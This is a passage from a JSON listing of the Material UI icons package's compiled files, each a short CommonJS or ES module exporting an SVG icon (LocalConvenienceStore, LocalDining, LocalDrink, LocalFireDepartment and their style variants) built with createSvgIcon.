  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7V4H5v3H2v13h8v-4h4v4h8V7zm-8 3H9v1h2v1H8V9h2V8H8V7h3zm5 2h-1v-2h-2V7h1v2h1V7h1z\"\n}), 'LocalConvenienceStoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 14h2v4h4V9h-3V6H7v3H4v9h4v-4zm-1-7h1v2h1V7h1v5h-1v-2h-2zM8 9h2V8H8V7h3v3H9v1h2v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16h4v4h8V7h-3V4H5v3H2v13h8zm-2 0v2H4V9h3V6h10v3h3v9h-4v-4H8zm3-5H9v-1h2V7H8v1h2v1H8v3h3zm4 1h1V7h-1v2h-1V7h-1v3h2z\"\n}, \"1\")], 'LocalConvenienceStoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 14h2v4h4V9h-3V6H7v3H4v9h4v-4zm-1-7h1v2h1V7h1v5h-1v-2h-2zM8 9h2V8H8V7h3v3H9v1h2v1H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16h4v4h8V7h-3V4H5v3H2v13h8zm-2 0v2H4V9h3V6h10v3h3v9h-4v-4H8zm3-5H9v-1h2V7H8v1h2v1H8v3h3zm4 1h1V7h-1v2h-1V7h-1v3h2z\"\n}, \"1\")], 'LocalConvenienceStoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'LocalDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'LocalDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'LocalDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'LocalDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83-6.19-6.18c-.48-.48-1.31-.35-1.61.27-.71 1.49-.45 3.32.78 4.56zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27l-9.05 9.05c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 14.41l6.18 6.18c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 13z\"\n}), 'LocalDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83-6.19-6.18c-.48-.48-1.31-.35-1.61.27-.71 1.49-.45 3.32.78 4.56zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27l-9.05 9.05c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 14.41l6.18 6.18c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 13z\"\n}), 'LocalDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'LocalDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'LocalDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.11 21.28 12 14.41l6.88 6.88 1.41-1.41L13.41 13l1.47-1.47c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87zM3.91 9.16l4.19 4.18 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66\"\n}), 'LocalDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.11 21.28 12 14.41l6.88 6.88 1.41-1.41L13.41 13l1.47-1.47c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87zM3.91 9.16l4.19 4.18 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66\"\n}), 'LocalDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrink.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 2 2.01 18.23C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77L21 2zm9 17c-1.66 0-3-1.34-3-3 0-2 3-5.4 3-5.4s3 3.4 3 5.4c0 1.66-1.34 3-3 3m6.33-11H5.67l-.44-4h13.53z\"\n}), 'LocalDrink');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrink.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 2 2.01 18.23C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77L21 2zm9 17c-1.66 0-3-1.34-3-3 0-2 3-5.4 3-5.4s3 3.4 3 5.4c0 1.66-1.34 3-3 3m6.33-11H5.67l-.44-4h13.53z\"\n}), 'LocalDrink');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 2 2.01 18.23C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77L21 2zm14 18-10 .01L5.89 10H18.1zm1.33-12H5.67l-.44-4h13.53zM12 19c1.66 0 3-1.34 3-3 0-2-3-5.4-3-5.4S9 14 9 16c0 1.66 1.34 3 3 3m0-5.09c.59.91 1 1.73 1 2.09 0 .55-.45 1-1 1s-1-.45-1-1c0-.37.41-1.19 1-2.09\"\n}), 'LocalDrinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 2 2.01 18.23C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77L21 2zm14 18-10 .01L5.89 10H18.1zm1.33-12H5.67l-.44-4h13.53zM12 19c1.66 0 3-1.34 3-3 0-2-3-5.4-3-5.4S9 14 9 16c0 1.66 1.34 3 3 3m0-5.09c.59.91 1 1.73 1 2.09 0 .55-.45 1-1 1s-1-.45-1-1c0-.37.41-1.19 1-2.09\"\n}), 'LocalDrinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.23 2C4.04 2 3.11 3.04 3.24 4.22l1.77 16.01C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77l1.77-16.01c.13-1.18-.8-2.22-1.99-2.22zM12 19c-1.66 0-3-1.34-3-3 0-1.55 1.81-3.95 2.62-4.94.2-.25.57-.25.77 0 .81 1 2.62 3.39 2.62 4.94-.01 1.66-1.35 3-3.01 3m6.33-11H5.67l-.32-2.89c-.06-.59.4-1.11 1-1.11h11.3c.59 0 1.06.52.99 1.11z\"\n}), 'LocalDrinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.23 2C4.04 2 3.11 3.04 3.24 4.22l1.77 16.01C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77l1.77-16.01c.13-1.18-.8-2.22-1.99-2.22zM12 19c-1.66 0-3-1.34-3-3 0-1.55 1.81-3.95 2.62-4.94.2-.25.57-.25.77 0 .81 1 2.62 3.39 2.62 4.94-.01 1.66-1.35 3-3.01 3m6.33-11H5.67l-.32-2.89c-.06-.59.4-1.11 1-1.11h11.3c.59 0 1.06.52.99 1.11z\"\n}), 'LocalDrinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 2 2.21 20H18.8L21 2zm9 17c-1.66 0-3-1.34-3-3 0-2 3-5.4 3-5.4s3 3.4 3 5.4c0 1.66-1.34 3-3 3m6.33-11H5.67l-.44-4h13.53z\"\n}), 'LocalDrinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 2 2.21 20H18.8L21 2zm9 17c-1.66 0-3-1.34-3-3 0-2 3-5.4 3-5.4s3 3.4 3 5.4c0 1.66-1.34 3-3 3m6.33-11H5.67l-.44-4h13.53z\"\n}), 'LocalDrinkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20.01 17 20l1.1-10H5.89zm5-9.41s3 3.4 3 5.4c0 1.66-1.34 3-3 3s-3-1.34-3-3c0-2 3-5.4 3-5.4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.01 20.23C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77L21 2H3zM17 20l-10 .01L5.89 10H18.1zm1.76-16-.43 4H5.67l-.44-4zM12 19c1.66 0 3-1.34 3-3 0-2-3-5.4-3-5.4S9 14 9 16c0 1.66 1.34 3 3 3m0-5.09c.59.91 1 1.73 1 2.09 0 .55-.45 1-1 1s-1-.45-1-1c0-.37.41-1.19 1-2.09\"\n}, \"1\")], 'LocalDrinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalDrinkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20.01 17 20l1.1-10H5.89zm5-9.41s3 3.4 3 5.4c0 1.66-1.34 3-3 3s-3-1.34-3-3c0-2 3-5.4 3-5.4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.01 20.23C5.13 21.23 5.97 22 7 22h10c1.03 0 1.87-.77 1.99-1.77L21 2H3zM17 20l-10 .01L5.89 10H18.1zm1.76-16-.43 4H5.67l-.44-4zM12 19c1.66 0 3-1.34 3-3 0-2-3-5.4-3-5.4S9 14 9 16c0 1.66 1.34 3 3 3m0-5.09c.59.91 1 1.73 1 2.09 0 .55-.45 1-1 1s-1-.45-1-1c0-.37.41-1.19 1-2.09\"\n}, \"1\")], 'LocalDrinkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 12.9-2.13 2.09c-.56.56-.87 1.29-.87 2.07C9 18.68 10.35 20 12 20s3-1.32 3-2.94c0-.78-.31-1.52-.87-2.07z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6-.44.55C14.38 8.02 12 7.19 12 5.3V2S4 6 4 13c0 2.92 1.56 5.47 3.89 6.86-.56-.79-.89-1.76-.89-2.8 0-1.32.52-2.56 1.47-3.5L12 10.1l3.53 3.47c.95.93 1.47 2.17 1.47 3.5 0 1.02-.31 1.96-.85 2.75 1.89-1.15 3.29-3.06 3.71-5.3.66-3.55-1.07-6.9-3.86-8.52\"\n}, \"1\")], 'LocalFireDepartment');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 12.9-2.13 2.09c-.56.56-.87 1.29-.87 2.07C9 18.68 10.35 20 12 20s3-1.32 3-2.94c0-.78-.31-1.52-.87-2.07z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6-.44.55C14.38 8.02 12 7.19 12 5.3V2S4 6 4 13c0 2.92 1.56 5.47 3.89 6.86-.56-.79-.89-1.76-.89-2.8 0-1.32.52-2.56 1.47-3.5L12 10.1l3.53 3.47c.95.93 1.47 2.17 1.47 3.5 0 1.02-.31 1.96-.85 2.75 1.89-1.15 3.29-3.06 3.71-5.3.66-3.55-1.07-6.9-3.86-8.52\"\n}, \"1\")], 'LocalFireDepartment');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6-.44.55c-.42.52-.98.75-1.54.75C13 7.3 12 6.52 12 5.3V2S4 6 4 13c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.96-1.61-5.62-4-7m-4 13c-1.1 0-2-.87-2-1.94 0-.51.2-.99.58-1.36L12 14.3l1.43 1.4c.37.37.57.85.57 1.36 0 1.07-.9 1.94-2 1.94m3.96-1.5c.04-.36.22-1.89-1.13-3.22L12 11.5l-2.83 2.78C7.81 15.62 8 17.16 8.04 17.5 6.79 16.4 6 14.79 6 13c0-3.16 2.13-5.65 4.03-7.25.23 1.99 1.93 3.55 3.99 3.55.78 0 1.54-.23 2.18-.66C17.34 9.78 18 11.35 18 13c0 1.79-.79 3.4-2.04 4.5\"\n}), 'LocalFireDepartmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 6-.44.55c-.42.52-.98.75-1.54.75C13 7.3 12 6.52 12 5.3V2S4 6 4 13c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.96-1.61-5.62-4-7m-4 13c-1.1 0-2-.87-2-1.94 0-.51.2-.99.58-1.36L12 14.3l1.43 1.4c.37.37.57.85.57 1.36 0 1.07-.9 1.94-2 1.94m3.96-1.5c.04-.36.22-1.89-1.13-3.22L12 11.5l-2.83 2.78C7.81 15.62 8 17.16 8.04 17.5 6.79 16.4 6 14.79 6 13c0-3.16 2.13-5.65 4.03-7.25.23 1.99 1.93 3.55 3.99 3.55.78 0 1.54-.23 2.18-.66C17.34 9.78 18 11.35 18 13c0 1.79-.79 3.4-2.04 4.5\"\n}), 'LocalFireDepartmentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 12.9-2.03 2c-.46.46-.82 1.03-.93 1.67C8.74 18.41 10.18 20 12 20s3.26-1.59 2.96-3.42c-.11-.64-.46-1.22-.93-1.67z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.56 6.55C14.38 8.02 12 7.19 12 5.3V3.77c0-.8-.89-1.28-1.55-.84C8.12 4.49 4 7.97 4 13c0 2.92 1.56 5.47 3.89 6.86-.71-1.02-1.06-2.31-.81-3.68.19-1.04.75-1.98 1.51-2.72l2.71-2.67c.39-.38 1.01-.38 1.4 0l2.73 2.69c.74.73 1.3 1.65 1.48 2.68.25 1.36-.07 2.64-.77 3.66 1.89-1.15 3.29-3.06 3.71-5.3.61-3.27-.81-6.37-3.22-8.1-.33-.25-.8-.2-1.07.13\"\n}, \"1\")], 'LocalFireDepartmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 12.9-2.03 2c-.46.46-.82 1.03-.93 1.67C8.74 18.41 10.18 20 12 20s3.26-1.59 2.96-3.42c-.11-.64-.46-1.22-.93-1.67z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.56 6.55C14.38 8.02 12 7.19 12 5.3V3.77c0-.8-.89-1.28-1.55-.84C8.12 4.49 4 7.97 4 13c0 2.92 1.56 5.47 3.89 6.86-.71-1.02-1.06-2.31-.81-3.68.19-1.04.75-1.98 1.51-2.72l2.71-2.67c.39-.38 1.01-.38 1.4 0l2.73 2.69c.74.73 1.3 1.65 1.48 2.68.25 1.36-.07 2.64-.77 3.66 1.89-1.15 3.29-3.06 3.71-5.3.61-3.27-.81-6.37-3.22-8.1-.33-.25-.8-.2-1.07.13\"\n}, \"1\")], 'LocalFireDepartmentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 12.9-2.13 2.09c-.56.56-.87 1.29-.87 2.07C9 18.68 10.35 20 12 20s3-1.32 3-2.94c0-.78-.31-1.52-.87-2.07z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 6-.44.55C14.38 8.02 12 7.19 12 5.3V2S4 6 4 13c0 2.92 1.56 5.47 3.89 6.86-.56-.79-.89-1.76-.89-2.8 0-1.32.52-2.56 1.47-3.5L12 10.1l3.53 3.47c.95.93 1.47 2.17 1.47 3.5 0 1.02-.31 1.96-.85 2.75 1.89-1.15 3.29-3.06 3.71-5.3.66-3.55-1.07-6.9-3.86-8.52\"\n}, \"1\")], 'LocalFireDepartmentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalFireDepartmentSharp.mjs",
